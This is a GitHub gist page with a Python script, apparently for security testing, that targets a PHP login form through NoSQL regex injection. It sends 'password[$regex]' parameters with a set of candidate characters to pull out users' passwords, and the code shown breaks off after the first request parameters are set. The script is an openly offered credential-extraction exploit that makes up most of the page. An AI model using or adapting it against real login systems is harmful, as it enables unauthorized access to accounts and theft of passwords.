Skip to content

Instantly share code, notes, and snippets.

View sevbo2003's full-sized avatar
👽
alien

Abdusamad sevbo2003

👽
alien
View GitHub Profile
@sevbo2003
sevbo2003 / brute-force-username-passwords.py
Created December 2, 2022 18:56
Brute-force login usernames and passwords from POST login
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}